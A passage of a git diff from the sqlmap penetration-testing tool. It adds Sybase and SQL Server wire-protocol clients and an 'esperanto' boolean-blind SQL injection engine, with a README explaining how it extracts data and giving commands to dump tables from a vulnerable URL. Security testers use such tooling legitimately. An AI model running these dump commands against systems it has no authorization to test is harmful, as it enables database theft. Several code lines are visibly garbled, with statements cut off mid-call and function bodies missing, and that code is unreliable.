length-prefixed, +# and a zero length means NULL (TDS 5 cannot tell an empty string from NULL - neither can ASE itself). +_T_INT1, _T_BIT, _T_INT2, _T_INT4, _T_INT8 = 0x30, 0x32, 0x34, 0x38, 0xbf +_T_REAL, _T_FLT8, _T_MONEY, _T_MONEY4 = 0x3b, 0x3e, 0x3c, 0x7a +_T_DATETIME, _T_DATETIME4, _T_DATE, _T_TIME = 0x3d, 0x3a, 0x31, 0x33 +_T_INTN, _T_FLTN, _T_MONEYN, _T_DATETIMN, _T_DATEN, _T_TIMEN = 0x26, 0x6d, 0x6e, 0x6f, 0x7b, 0x93 +_T_DECIMAL, _T_NUMERIC = 0x6a, 0x6c +_T_CHAR, _T_VARCHAR, _T_BINARY, _T_VARBINARY, _T_NVARCHAR = 0x2f, 0x27, 0x2d, 0x25, 0x67 +_T_TEXT, _T_IMAGE, _T_UNITEXT = 0x23, 0x22, 0xae +_T_LONGBINARY, _T_LONGCHAR = 0xe1, 0xaf +_T_BIGDATETIME, _T_BIGTIME = 0xbb, 0xbc +_T_BIGDATETIMEN, _T_BIGTIMEN = 0xbd, 0xbe +_T_VOID = 0x1f + +_FIXED_LENGTH = { + _T_INT1: 1, _T_BIT: 1, _T_INT2: 2, _T_INT4: 4, _T_INT8: 8, _T_REAL: 4, _T_FLT8: 8, + _T_MONEY: 8, _T_MONEY4: 4, _T_DATETIME: 8, _T_DATETIME4: 4, _T_DATE: 4, _T_TIME: 4, + _T_BIGDATETIME: 8, _T_BIGTIME: 8, _T_VOID: 0, +} +_BLOB_TYPES = frozenset((_T_TEXT, _T_IMAGE, _T_UNITEXT)) # textptr + timestamp + 4-byte length +_LONG_TYPES = frozenset((_T_LONGBINARY, _T_LONGCHAR)) # 4-byte length +_BINARY_TYPES = frozenset((_T_BINARY, _T_VARBINARY, _T_IMAGE)) +_DECIMAL_TYPES = frozenset((_T_DECIMAL, _T_NUMERIC)) +# univarchar/unichar/unitext are carried as LONGBINARY/UNITEXT holding UTF-16 - only the user type says so +_UNICODE_USERTYPES = frozenset((34, 35, 36)) +# a client that does not claim the date/time/bigdatetime capabilities gets those columns converted to a +# plain datetime, which is lossless but would render a date as '... 00:00:00'. The user type survives the +# conversion, so it is what says how much of the value the column actually holds. +_USERTYPE_DATE = 37 +_USERTYPE_TIME = frozenset((38, 49)) + +_IDENTIFIER = re.compile(r"^[A-Za-z_#][A-Za-z0-9_#$]*$") + +def _u8(data, off): + return struct.unpack(" the server default) + out += b"\x00" * 13 # notify-on-language-change, security & HA fields + out += _login_string(charset, 30) # client character set + out += b"\x00" # notify on character-set change + out += _login_string("%d" % packetsize, 6) # network packet size, as text + out += b"\x00" * 4 # spare + + # capability negotiation: request bits say what the client can do, response bits what it wants back. + # All-zero is the baseline dialect - the wide/streaming formats a fallback client has no use for are + # exactly the ones it must not claim, or the server starts answering in them. + capability = struct.pack("<3B", _TOKEN_CAPABILITY, 32, 0) + capability += struct.pack("<2B", 1, 14) + b"\x00" * 14 + capability += struct.pack("<2B", 2, 14) + b"\x00" * 14 + return out + capability + +class _Column(object): + __slots__ = ("name", "type", "size", "scale", "usertype") + +def _parse_rowfmt(data, off, length, codec): + end = off + length + count = _u16(data, off); off += 2 + columns = [] + for _ in range(count): + col = _Column() + namelen = _u8(data, off); off += 1 + col.name = data[off:off + namelen].decode(codec, "replace"); off += namelen + off += 1 # status (nullability - the value length says it) + col.usertype = _i32(data, off); off += 4 + col.type = _u8(data, off); off += 1 + col.size, col.scale = _FIXED_LENGTH.get(col.type, 0), 0 + if col.type in _DECIMAL_TYPES: + col.size = _u8(data, off) + col.scale = _u8(data, off + 2) # precision (off + 1) is not needed to decode + off += 3 + elif col.type in _BLOB_TYPES: + col.size = _i32(data, off); off += 4 + off += 2 + _u16(data, off) # the blob's table name + elif col.type in _LONG_TYPES: + col.size = _i32(data, off); off += 4 + elif col.type not in _FIXED_LENGTH: + col.size = _u8(data, off); off += 1 + off += 1 + _u8(data, off) # locale + columns.append(col) + if off != end: + raise InterfaceError("malformed ROWFMT token (%d columns did not fill %d bytes)" % (count, length)) + return columns, off + +def _decode_numeric(raw, scale): + # sign byte then a BIG-endian magnitude, and 1 means NEGATIVE (the Microsoft encoding is the mirror + # image of this: little-endian, 1 == positive) + magnitude = 0 + for b in bytearray(raw[1:]): + magnitude = (magnitude << 8) | b + value = -magnitude if bytearray(raw)[0] else magnitude + if scale: + text = "%0*d" % (scale + 1, abs(value)) + return ("-" if value < 0 else "") + text[:-scale] + "." + text[-scale:] + return "%d" % value + +def _decode_date(raw): + import datetime + return "%s" % (datetime.date(1900, 1, 1) + datetime.timedelta(days=_i32(raw, 0))) + +def _decode_time(raw): + import datetime + ticks = struct.unpack(" NULL + off += ptrlen + 8 # text pointer + timestamp + length = _i32(data, off); off += 4 + raw, off = data[off:off + length], off + length + elif col.type in _LONG_TYPES: + length = _i32(data, off); off += 4 + if not length: + return None, off + raw, off = data[off:off + length], off + length + else: + length = _u8(data, off); off += 1 + if not length: + return None, off + raw, off = data[off:off + length], off + length + return _decode_value(col, raw, codec), off + +def _eed(data, off, codec): + # EED: number(4) state(1) class(1) sqlstate, status(1) transtate(2) message, server, procedure, line + number = _i32(data, off) + severity = _u8(data, off + 5) + pos = off + 6 + pos += 1 + _u8(data, pos) # SQLSTATE + pos += 1 + 2 # status + transaction state + length = _u16(data, pos); pos += 2 + return number, severity, data[pos:pos + length].decode(codec, "replace").strip() + +def _raise_server_error(number, message): + if number in (2601, 2615, 2627, 1105, 546, 547): # duplicate key/row, constraint, foreign key + raise IntegrityError(message) + if number in (247, 249, 257, 260, 264, 512, 8115): # conversion, overflow, arithmetic + raise DataError(message) + raise ProgrammingError(message) + +class Cursor(object): + def __init__(self, connection): + self.connection = connection + self.description = None + self.rowcount = -1 + self._rows = [] + self._pos = 0 + + def execute(self, query, params=None): + if params is not None: + raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string") + self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0 + self.description, self._rows, affected = self.connection._query(query) + self.rowcount = len(self._rows) if self.description is not None else (affected if affected is not None else -1) + return self + + def fetchall(self): + retVal = self._rows[self._pos:] + self._pos = len(self._rows) + return retVal + + def fetchone(self): + if self._pos >= len(self._rows): + return None + retVal = self._rows[self._pos] + self._pos += 1 + return retVal + + def close(self): + self._rows = [] + +class Connection(object): + def __init__(self, sock, codec): + self._sock = sock + self._codec = codec + # a packet larger than the size agreed at login is not an error the server reports - it drops the + # connection, so every send has to be chopped to what the login negotiated (ENVCHANGE 4 below) + self._chunk = _PACKET_SIZE - _HEADER_SIZE + + def cursor(self): + return Cursor(self) + + def commit(self): + pass # sqlmap issues autonomous statements; ASE is in unchained (auto-commit) mode by default + + def rollback(self): + pass + + def close(self): + try: + _send_message(self._sock, _PKT_NORMAL, struct.pack("<2B", _TOKEN_LOGOUT, 0)) + except Exception: + pass + try: + self._sock.close() + except Exception: + pass + + def _query(self, query): + # LANGUAGE token: length covers the status byte and the (single-byte encoded) statement text + text = query.encode(self._codec, "replace") + token = struct.pack(" 10: # 10 and below are informational (e.g. 'Changed database') + error = (number, "(remote) %s" % message) + off += 2 + length + elif token == _TOKEN_ENVCHANGE: + length = _u16(data, off) + if _u8(data, off + 2) == _ENV_PACKET_SIZE: + size = data[off + 4:off + 4 + _u8(data, off + 3)] + self._chunk = max(_LOGIN_CHUNK, int(size) - _HEADER_SIZE) + off += 2 + length + elif token == _TOKEN_RETURNSTATUS: + off += 4 + elif token == _TOKEN_ROWFMT2: + raise NotSupportedError("the server answered with the wide ROWFMT2 format") + else: + off += 2 + _u16(data, off) # every other TDS 5 token is 2-byte length prefixed + if error is not None: + if login: + raise OperationalError(error[1]) + _raise_server_error(*error) + return description, rows, affected + +def connect(host=None, port=5000, user=None, password=None, database=None, connect_timeout=None, **kwargs): + charset, codec = kwargs.get("charset", "utf8"), "utf-8" + try: + sock = socket.create_connection((host or "localhost", int(port or 5000)), timeout=connect_timeout) + keepalive(sock) + except (socket.error, socket.timeout) as ex: + raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex)) + + connection = Connection(sock, codec) + try: + login = _loginrec("dbwire", user or "", password or "", "dbwire", host or "localhost", charset, _PACKET_SIZE) + _send_message(sock, _PKT_LOGIN, login, _LOGIN_CHUNK) + connection._read_response(login=True) + handshake_done(sock) + if database: + if not _IDENTIFIER.match(database): + raise ProgrammingError("unsupported database name %r" % database) + connection._query("USE %s" % database) + except (DatabaseError, InterfaceError): + connection.close() + raise + except Exception as ex: + connection.close() + raise OperationalError("Sybase login failed (%s)" % ex) + return connection diff --git a/extra/dbwire/tds.py b/extra/dbwire/tds.py new file mode 100644 index 00000000000..a028e631c6a --- /dev/null +++ b/extra/dbwire/tds.py @@ -0,0 +1,630 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +""" +Minimal pure-python TDS (Tabular Data Stream) client for Microsoft SQL Server (stdlib only). + +LOGIN7 / TDS 7.4 is the Microsoft dialect. Sybase ASE speaks TDS 5.0 - same 8-byte packet framing, but a +LOGINREC login and its own token/type dialect - and lives in sybase.py, which reuses the framing below. + +Cleartext login only (TDS pre-login encryption negotiated to NOT_SUP); a server that forces encryption +would need TLS-in-TDS which is out of scope for the dependency-free client. Implements PRELOGIN, LOGIN7, +SQL batch, and decoding of the common column types (int/bit/float/money/decimal, (n)char/(n)varchar and +their MAX/PLP forms, binary, guid, datetime family) to text (binary columns are returned as raw bytes so +sqlmap hex-encodes them). +""" + +import socket +import struct + +from extra.dbwire import DatabaseError +from extra.dbwire import InterfaceError +from extra.dbwire import NotSupportedError +from extra.dbwire import OperationalError +from extra.dbwire import connection_lost +from extra.dbwire import handshake_done +from extra.dbwire import keepalive +from extra.dbwire import recvn +from extra.dbwire import ProgrammingError + +_MAX_MESSAGE_LENGTH = 0x40000000 +_DONE_COUNT = 0x0010 # DONE status bit: DoneRowCount carries a valid affected-row count + +# packet types +_PKT_SQL_BATCH = 0x01 +_PKT_LOGIN7 = 0x10 +_PKT_PRELOGIN = 0x12 +_STATUS_EOM = 0x01 + +def _u8(data, off): + return struct.unpack("= len(data) + header = struct.pack(">BBHHBB", mtype, _STATUS_EOM if last else 0x00, len(chunk) + 8, 0, packet_id & 0xff, 0) + try: + sock.sendall(header + chunk) + except (socket.error, OSError) as ex: + raise connection_lost(ex) + packet_id += 1 + if last: + break + +def _read_message(sock): + # reassemble a full TDS message across packets (EOM status bit marks the last). The packet length is a + # 16-bit field, so bounding IT against _MAX_MESSAGE_LENGTH can never trigger - a hostile peer simply + # never sets EOM and streams packets forever. Bound the accumulated message instead, and collect the + # chunks in a list so reassembly stays linear rather than re-copying a growing immutable buffer. + chunks, total = [], 0 + while True: + header = recvn(sock, 8) + mtype, status, length = struct.unpack(">BBH", header[:4]) + if length < 8: + raise InterfaceError("invalid TDS packet length (%d)" % length) + total += length - 8 + if total > _MAX_MESSAGE_LENGTH: + raise InterfaceError("TDS message exceeds the maximum allowed length (%d bytes)" % _MAX_MESSAGE_LENGTH) + chunks.append(recvn(sock, length - 8)) + if status & _STATUS_EOM: + break + return b"".join(chunks) + +# ---- PRELOGIN ---------------------------------------------------------------------------------------- + +def _prelogin(sock): + ver = struct.pack(">IH", 0x11000000, 0) + enc = b"\x02" # ENCRYPT_NOT_SUP + tokens = b"\x00" + struct.pack(">HH", 11, len(ver)) + tokens += b"\x01" + struct.pack(">HH", 11 + len(ver), len(enc)) + tokens += b"\xff" + _send_message(sock, _PKT_PRELOGIN, tokens + ver + enc) + body = _read_message(sock) + off = 0 + while off < len(body) and _u8(body, off) != 0xff: + token = _u8(body, off) + toff, tlen = struct.unpack(">HH", body[off + 1:off + 5]) + if token == 0x01 and _u8(body, toff) == 0x03: # server requires encryption + raise NotSupportedError("server requires TDS encryption; the dependency-free client supports cleartext only") + off += 5 + +# ---- LOGIN7 ------------------------------------------------------------------------------------------ + +def _encode_password(password): + out = bytearray() + for b in bytearray(password.encode("utf-16-le")): + b = ((b << 4) & 0xf0) | ((b >> 4) & 0x0f) + out.append(b ^ 0xa5) + return bytes(out) + +def _login7(sock, user, password, database, hostname="dbwire", appname="dbwire"): + fields = [ + hostname.encode("utf-16-le"), + (user or "").encode("utf-16-le"), + _encode_password(password or ""), + appname.encode("utf-16-le"), + b"", # server name + b"", # (extension / unused) + "dbwire".encode("utf-16-le"), # client interface name + b"", # language + (database or "").encode("utf-16-le"), + ] + char_counts = [6, len(user or ""), len(password or ""), 6, 0, 0, 6, 0, len(database or "")] + + base = 94 # fixed header (36) + offset/length block (58) + var, offsets, cursor = b"", b"", base + for i, data in enumerate(fields): + offsets += struct.pack("= 0 else ("-", -offset) + s += " %s%02d:%02d" % (sign, mins // 60, mins % 60) + return s + +# SQL Server COLLATION -> Python codec. The 5-byte collation is a little-endian uint32 (low 20 bits = LCID) +# plus a 1-byte sort id: a non-zero sort id fixes the code page, else the LCID does. Only single-byte / DBCS +# code pages need a codec (NVARCHAR is UTF-16, handled separately). Derived from pytds; default cp1252 (the +# stock SQL_Latin1_General code page - NOT latin-1, whose 0x80-0x9F differ, corrupting e.g. the euro sign). +_LCID_CP = { + 0x405: "cp1250", 0x40e: "cp1250", 0x415: "cp1250", 0x418: "cp1250", 0x41a: "cp1250", 0x41b: "cp1250", + 0x41c: "cp1250", 0x424: "cp1250", 0x402: "cp1251", 0x419: "cp1251", 0x422: "cp1251", 0x423: "cp1251", + 0x42f: "cp1251", 0x408: "cp1253", 0x41f: "cp1254", 0x42c: "cp1254", 0x443: "cp1254", 0x40d: "cp1255", + 0x401: "cp1256", 0x420: "cp1256", 0x429: "cp1256", 0x425: "cp1257", 0x426: "cp1257", 0x427: "cp1257", + 0x42a: "cp1258", 0x41e: "cp874", 0x411: "cp932", 0x804: "cp936", 0x1004: "cp936", 0x412: "cp949", + 0x404: "cp950", 0xc04: "cp950", 0x1404: "cp950", +} + +def _sortid_cp(sid): + if 30 <= sid <= 34: + return "cp437" + if 40 <= sid <= 44 or sid == 49 or 55 <= sid <= 61: + return "cp850" + if sid in (51, 52, 53, 54) or 183 <= sid <= 186: + return "cp1252" + if 80 <= sid <= 96: + return "cp1250" + if 104 <= sid <= 108: + return "cp1251" + if 112 <= sid <= 124: + return "cp1253" + if 128 <= sid <= 130: + return "cp1254" + if 136 <= sid <= 138: + return "cp1255" + if 144 <= sid <= 146: + return "cp1256" + if 152 <= sid <= 160: + return "cp1257" + return None + +def _collation_codec(collation): + if not collation or len(collation) < 5: + return "cp1252" + lump = struct.unpack(" raw bytes + if base in (0xa7, 0xaf): # (var)char: metadata = 5-byte collation + 2-byte max length + return val.decode(_collation_codec(meta[:5]), "replace") + if base == 0x28: + return _decode_temporal(base, 0, val) + if base in (0x29, 0x2a, 0x2b): # metadata = scale + return _decode_temporal(base, bytearray(meta)[0], val) + return "".join("%02x" % x for x in bytearray(val)) # unknown base type -> hex (never desyncs) + +class _Column(object): + __slots__ = ("name", "type", "size", "scale", "binary", "collation") + +def _parse_type_info(data, off): + col = _Column() + col.type = _u8(data, off); off += 1 + col.size, col.scale, col.binary, col.collation = 0, 0, False, None + t = col.type + if t in (0x30, 0x32, 0x34, 0x38, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x7a, 0x7f, 0x1f): + pass # fixed-length types, size implied by type + elif t in (0x26, 0x68, 0x6d, 0x6e, 0x6f, 0x24): # INTN/BITN/FLTN/MONEYN/DATETIMN/GUID + col.size = _u8(data, off); off += 1 + elif t in (0x6a, 0x6c, 0x37, 0x3f): # DECIMALN/NUMERICN + legacy DECIMAL/NUMERIC (size, precision, scale) + col.size = _u8(data, off); off += 1 + off += 1 # precision + col.scale = _u8(data, off); off += 1 + elif t in (0xa7, 0xaf, 0xe7, 0xef): # (BIG)VARCHAR/CHAR, N(VAR)CHAR + col.size = struct.unpack(" raw bytes + if t in (0xe7, 0xef): + return raw.decode("utf-16-le", "replace"), off + return raw.decode(_collation_codec(col.collation), "replace"), off # (var)char: the collation's code page + + if t in (0x23, 0x63, 0x22): # TEXT/NTEXT/IMAGE: 1-byte textptr len (0 = NULL) then textptr+timestamp then 4-byte len + ptr_len = _u8(data, off); off += 1 + if ptr_len == 0: + return None, off + off += ptr_len + 8 + (n,) = struct.unpack(" sqlmap hex-encodes them + return _read_plp(data, off) + + if t == 0x62: # SQL_VARIANT: 4-byte total length (0 = NULL) then a self-describing value body + (total,) = struct.unpack("= len(self._rows): + return None + retVal = self._rows[self._pos] + self._pos += 1 + return retVal + + def close(self): + self._rows = [] + +class Connection(object): + def __init__(self, sock): + self._sock = sock + + def cursor(self): + return Cursor(self) + + def commit(self): + pass # sqlmap issues autonomous statements; SET IMPLICIT_TRANSACTIONS is off by default + + def rollback(self): + pass + + def close(self): + try: + self._sock.close() + except Exception: + pass + + def _query(self, query): + # TDS 7.2+ SQL batch must be prefixed with ALL_HEADERS carrying the transaction descriptor header + headers = struct.pack(" bool` that reports whether an arbitrary SQL boolean expression holds at the +target - it discovers the dialect from scratch (string concatenation, substring / length / +character-code functions, the usable comparison operator, the catalog surface) and then extracts +data character-by-character, without ever being told which DBMS is on the other end. + +The candidate SQL forms it probes are distilled from sqlmap's own `data/xml/queries.xml` across all +supported DBMSes: rather than fingerprint-then-load-one-dialect, it reuses that accumulated knowledge +as a single language it tries to speak at any backend. The engine is self-contained (no sqlmap +imports) and runs unmodified on Python 2.7 and Python 3. + +## Usage + +Inside sqlmap, via the `--esperanto` switch. sqlmap detects the boolean-blind injection as usual, +then hands the engine its own oracle (`checkBooleanExpression`, which rides the full request / +comparison / WAF stack) instead of fingerprinting. The normal enumeration switches then work against +an unidentified back-end: + +``` +python sqlmap.py -u 'http://host/vuln?id=1' --esperanto --banner --tables --dump -T users +``` + +Standalone, straight from this directory (no sqlmap, no `PYTHONPATH`): + +``` +python run.py -u 'http://host/vuln?id=1*' --tables --dump -T users +python run.py -u 'http://host/vuln?id=1*' --string --dump -T users -C uname,pass +python run.py --self-test +``` + +The `*` (or an explicit `[INFERENCE]`) marks the injection point; without one it defaults to the end +of the URL. The true/false oracle is taken from `--string` / `--code`, or +auto-calibrated from the response when none is given. + +## How it works + +Discovery is a set of capability ladders. For each primitive it tries the known SQL forms in turn and +keeps the first that a small set of probes proves correct, so a backend that lacks - or a WAF that +filters - one form falls through to the next rather than failing: + +| Primitive | Ladder (first that works wins) | +|------------------|--------------------------------| +| Concatenation | `\|\|`, `CONCAT()`, `+`, `&` | +| Substring | `SUBSTR` / `SUBSTRING` / `MID`, else `LEFT`/`RIGHT` composition | +| Length | a length function, else derived from the substring's end | +| Character read | code point (`ASCII`/`UNICODE`/`ORD`/...), collation-forced byte order, hex, ordinal, `=` scan | +| Comparison | `>`, else `BETWEEN`, else an operator-free ordered form (`SIGN`/`ABS`/`LEAST`/...), else order-free `IN()` | +| No-substring floor | `LIKE` / `GLOB` / `SIMILAR TO` pattern matching | + +Each candidate is accepted only against a semantic check (for example, the comparison ladder is +validated across a signed truth table, not two positive samples), so a rewriting layer that turns +`>` into `>=` is rejected rather than silently mis-reading every count and length. + +Discovery produces a `Dialect`; `identify()` then fuses catalog family, required dual-table and +version-banner evidence into a best-guess product. Enumeration walks catalogs by keyset +(`MIN(name) WHERE name > prev`) with no dialect row-limiter, and `dump()` reconstructs rows by a +discovered primary/unique key, else a physical row-id, else the row's own value. + +## Interface + +```python +from extra.esperanto import Esperanto + +esp = Esperanto(oracle) # oracle(condition_str) -> bool +esp.discover() # ladder out the dialect +esp.identify() # best-guess product + evidence +esp.extract("(SELECT ...)") # one scalar, char-by-char +esp.dump("users", schema="app") # {columns, rows, complete, exact, keyed_by} +esp.enumerate("table") # keyset catalog walk +``` + +- The **oracle contract** is strict tri-state: return `True` / `False` for an observed result; a + transport or observation failure must raise (or return a non-boolean), which the engine treats as + *undecided* rather than a definitive `False`. A wrong-dialect or unsupported probe is expected to be + reported as `False` by the oracle itself. +- `buildHandler()` is the sqlmap adapter (`--esperanto`), a `dbmsHandler` that maps sqlmap's + enumeration calls onto the engine. sqlmap-core imports are deferred inside it so the rest of the + package stays dependency-free. +- `strategy()` freezes the discovered dialect into an immutable `InferenceStrategy` of pure `render_*` + methods (no oracle, no loop), and `hostExtract()` is a reference host loop that extracts using only + a strategy plus an oracle. + +## Integrity model + +Every recovered value carries an `Integrity` classification so a caller can tell "we visited every +position" apart from "the bytes are provably the source's": + +| State | Meaning | +|-----------------------|---------| +| `EXACT` | proven byte-identical to the source (or a proven `NULL`) | +| `WHOLE_BUT_AMBIGUOUS` | every position read, but case/accent is uncertain (collation-dependent comparison, no byte-exact primitive) | +| `TRUNCATED` | a bounded prefix; the source continues | +| `UNRESOLVED` | a character could not be recovered | +| `FAILED` | could not observe or verify | + +The engine is designed to fail closed: it never manufactures a `False` from an unobservable probe, +never silently substitutes or drops a character, distinguishes `NULL` from empty string, and reports +a dump along two independent axes - `complete` (coverage: every row) and `exact` (content: the values +are byte-faithful). `EXACT` is claimed only when a byte-faithful witness backs the value. + +## Scope and limitations + +This is a last-resort engine for targets a normal fingerprint cannot reach, not a replacement for +sqlmap's native retrieval. Known boundaries: + +- **Throughput.** Extraction is one boolean question per request, char-by-char; it is bounded by the + information theory of a boolean oracle (about one bit per request) and by network latency. It is + built for reach, not speed. +- **Namespace.** Database, schema and owner are currently handled as a single scope name. Fully + separated, backend-aware qualification (for example SQL Server `database.schema.table` via a + `sys.schemas` join) is not yet modelled, so schema scoping on those engines is best-effort. +- **Encoding.** The back-end's declared character set is read from its own catalog and mapped to a + codec (with the vendor quirks - MySQL `latin1` is Windows-1252, Oracle `WE8MSWIN1252` too), + resolving the common cases definitively. A column whose character set differs from the database + default, or a set outside the mapped list, decodes best-effort and is marked non-exact rather + than asserted. +- **Strategy hand-off.** The exported `InferenceStrategy` / `hostExtract()` drive the character + comparison modes under an ordered comparator; they do not yet drive the pattern-only or + membership-only modes, and the frozen field set does not yet carry every discovered semantic. + +Where a value cannot be recovered exactly, the engine surfaces its `Integrity` rather than presenting +it as trustworthy. + +## Self-test + +``` +python run.py --self-test +``` + +runs the engine against an in-memory SQLite oracle across every compare mode plus identification, +byte extraction, noisy-oracle quorum voting, the fail-closed integrity invariants and the frozen +strategy hand-off. The regression corpus lives in `tests/test_esperanto.py`. + +--- + +Part of [sqlmap](https://sqlmap.org). See the top-level `LICENSE` for copying permission. diff --git a/extra/esperanto/__init__.py b/extra/esperanto/__init__.py new file mode 100644 index 00000000000..fd7121ddb54 --- /dev/null +++ b/extra/esperanto/__init__.py @@ -0,0 +1,30 @@ +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +esperanto - a DBMS-agnostic SQL poking prototype. + +Given only a boolean oracle - a callable oracle(condition) -> bool that reports +whether an arbitrary SQL boolean expression holds at the target - this discovers +the target's SQL dialect from scratch (concatenation operator, substring / length +/ char-code functions, string comparison, catalog surface) and then extracts data +char-by-char WITHOUT ever being told which DBMS is on the other end. + +The candidate variants below are harvested from sqlmap's own data/xml/queries.xml +across all 31 supported DBMSes - the point is to reuse that accumulated knowledge +as a single "esperanto" the tool speaks at any backend, rather than fingerprinting +first and loading one dialect. + +This is a self-contained research prototype (no sqlmap imports); run it directly +for a built-in self-test against an in-memory SQLite oracle. +""" + +__version__ = "1.0.0" + +from .engine import Esperanto +from .engine import hostExtract +from .handler import buildHandler +from .records import Cap, ExtractResult, BulkResult, Dialect, InferenceStrategy, Integrity +from .records import OracleUndecided, QueryBudgetExceeded + +__all__ = ["Esperanto", "hostExtract", "buildHandler", "Cap", "ExtractResult", "BulkResult", "Dialect", "InferenceStrategy", "Integrity", "OracleUndecided", "QueryBudgetExceeded", "__version__"] diff --git a/extra/esperanto/__main__.py b/extra/esperanto/__main__.py new file mode 100644 index 00000000000..78abc99b130 --- /dev/null +++ b/extra/esperanto/__main__.py @@ -0,0 +1,755 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from . import __version__ +from .atlas import _REPL +from .engine import Esperanto, hostExtract +from .records import ( + OracleUndecided, ExtractResult, QueryBudgetExceeded) + +_SITE = "https://sqlmap.org" + +# ratio-mode confidence margin: if the true/false similarity scores are within this of each +# other the page can't be classified, so the oracle returns UNDECIDED rather than guessing. +_RATIO_MARGIN = 0.05 + + +def _sqliteOracle(block=None): + """In-memory SQLite boolean oracle for the self-test (DBMS hidden from prober). + `block` is a regex of constructs to refuse, used to force fallback modes.""" + import re as _re + import sqlite3 + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE users (id INTEGER, name TEXT)") + con.execute("INSERT INTO users VALUES (1, 'Admin-42')") + con.commit() + pat = _re.compile(block) if block else None + + def oracle(condition): + if pat and pat.search(condition): + return False + try: + cur = con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % condition) + return cur.fetchone()[0] == 1 + except sqlite3.DatabaseError: + # unsupported/rejected SQL is a valid negative capability result; only + # transport/observation failures are allowed to raise (oracle contract) + return False + + return oracle + + +def _selftest(): + # exercise every compare mode against one byte-ordered, case-sensitive backend + # (SQLite) by selectively refusing constructs - proves each extraction path + code = r"\b(ASCII|UNICODE|ORD|CODEPOINT|ASCII_VAL|ASCW|UNICODE_CODE|TO_CODE_POINTS)\(" + coll = r"COLLATE|\bBINARY\s*\(|AS\s+(BLOB|bytea|VARBINARY|RAW)|NLSSORT|UTL_RAW" + hexb = r"\bHEX\(|RAWTOHEX|ENCODE\(|BINTOHEX|HEX_ENCODE|TO_HEX|BINTOSTR" + modes = ( + ("code", None), + ("collation", r"(?i)(%s)" % code), + ("hex", r"(?i)(%s|%s)" % (code, coll)), + ("ordinal", r"(?i)(%s|%s|%s)" % (code, coll, hexb)), + ) + for expected, block in modes: + esp = Esperanto(_sqliteOracle(block=block)) + dialect = esp.discover() + got = esp.extract("(SELECT name FROM users WHERE id=1)") + assert dialect.compare == expected, "expected %s mode, got %s" % (expected, dialect.compare) + assert got == "Admin-42", "%s-mode extraction failed: %r" % (expected, got) + print(" %-8s mode: %-52r -> extracted %r in %d queries" % ( + expected, dialect, got, esp.queryCount)) + # equality mode exercised directly (charset scan) + esp = Esperanto(_sqliteOracle()) + esp.discover() + esp.dialect.compare = "equality" + assert esp.extract("(SELECT name FROM users WHERE id=1)") == "Admin-42" + print(" equality mode: charset-scan extraction -> OK") + + # the detective: name the backend blind + esp = Esperanto(_sqliteOracle()) + esp.discover() + verdict = esp.identify() + assert verdict["product"] == "SQLite", "identify failed: %r" % verdict + print(" identify: product=%(product)r version=%(version)r dual=%(dual)s" % verdict) + + # bytes-first extraction: byte-exact, encoding chosen by the caller + esp = Esperanto(_sqliteOracle()) + esp.discover() + mb = "('A' || CHAR(233) || CHAR(8364))" # 'A' + U+00E9 + U+20AC, built via ASCII SQL (py2/py3-safe, no non-ASCII source) + raw = esp.extractBytes(mb) + assert raw == u"A\xe9\u20ac".encode("utf-8"), "extractBytes: %r" % raw + assert esp.extractText(mb) == u"A\xe9\u20ac" + print(" extractBytes: %r extractText: %r" % (raw, esp.extractText(mb))) + + # quorum: a noisy oracle that flips/errors a minority of probes must not corrupt. + # tested across several seeds so the pass doesn't hinge on one lucky sequence. + import random as _random + for seed in (1234, 7, 99, 2026): + base = _sqliteOracle() + rng = _random.Random(seed) + + def noisy(cond, _b=base, _r=rng): + roll = _r.random() + if roll < 0.12: + raise RuntimeError("transient") # 12% errors (resampled) + if roll < 0.20: + return not _b(cond) # 8% lies + return _b(cond) + + esp = Esperanto(noisy, quorum=6) + esp.discover() + got = esp.extract("(SELECT name FROM users WHERE id=1)") + assert got == "Admin-42", "quorum extraction (seed %d) failed: %r" % (seed, got) + print(" quorum=6 under 20% noisy oracle (12% err + 8% lies) -> 'Admin-42' across 4 seeds") + + # -- integrity guards (peer-review round 4) -------------------------------- + # empty/NULL are falsey; a bounded prefix (incl. limit=0) is incomplete+truncated + assert not ExtractResult("") and not ExtractResult(None) + esp = Esperanto(_sqliteOracle()) + esp.discover() + zero = esp.extractResult("'abc'", limit=0) + assert zero.value == "" and zero.truncated and not zero.complete, "limit=0: %r" % zero + # an invalid expression must NOT masquerade as a complete SQL NULL + bad = esp.extractResult("NO_SUCH_FN(1)") + assert bad.value is None and not bad.is_null and not bad.complete and bad.warnings, "invalid->NULL: %r" % bad + # integer extraction must raise, not saturate + try: + esp.extractInteger("100", maximum=10) + assert False, "extractInteger saturated silently" + except OverflowError: + pass + # an unobservable oracle must FAIL CLOSED, never silently 'succeed'. two guarantees: + # (a) discovery aborts (a broken oracle can't manufacture a working dialect); while + # probing candidate rungs an unobservable probe reads False, so sanity fails -> + # RuntimeError, never a bogus discovered dialect + try: + Esperanto((lambda c: (_ for _ in ()).throw(RuntimeError("down")))).discover() + assert False, "broken oracle silently discovered a dialect" + except RuntimeError: + pass + # (b) a DATA READ never manufactures False from an unobservable probe: it raises + # OracleUndecided (the whole point - a flaky read must not corrupt a bit) + esp = Esperanto(_sqliteOracle()) + esp.discover() + esp.oracle = lambda c: (_ for _ in ()).throw(RuntimeError("down")) # break it post-discovery + try: + esp.extract("(SELECT MAX(name) FROM users)") + assert False, "undecided oracle silently became data" + except OracleUndecided: + pass + # embedded/leading NUL must not truncate (whole-value verification recovers it) + import sqlite3 + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t (a TEXT)") + con.execute("INSERT INTO t VALUES (?)", ("A\x00B",)) + con.commit() + + def nulOracle(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = 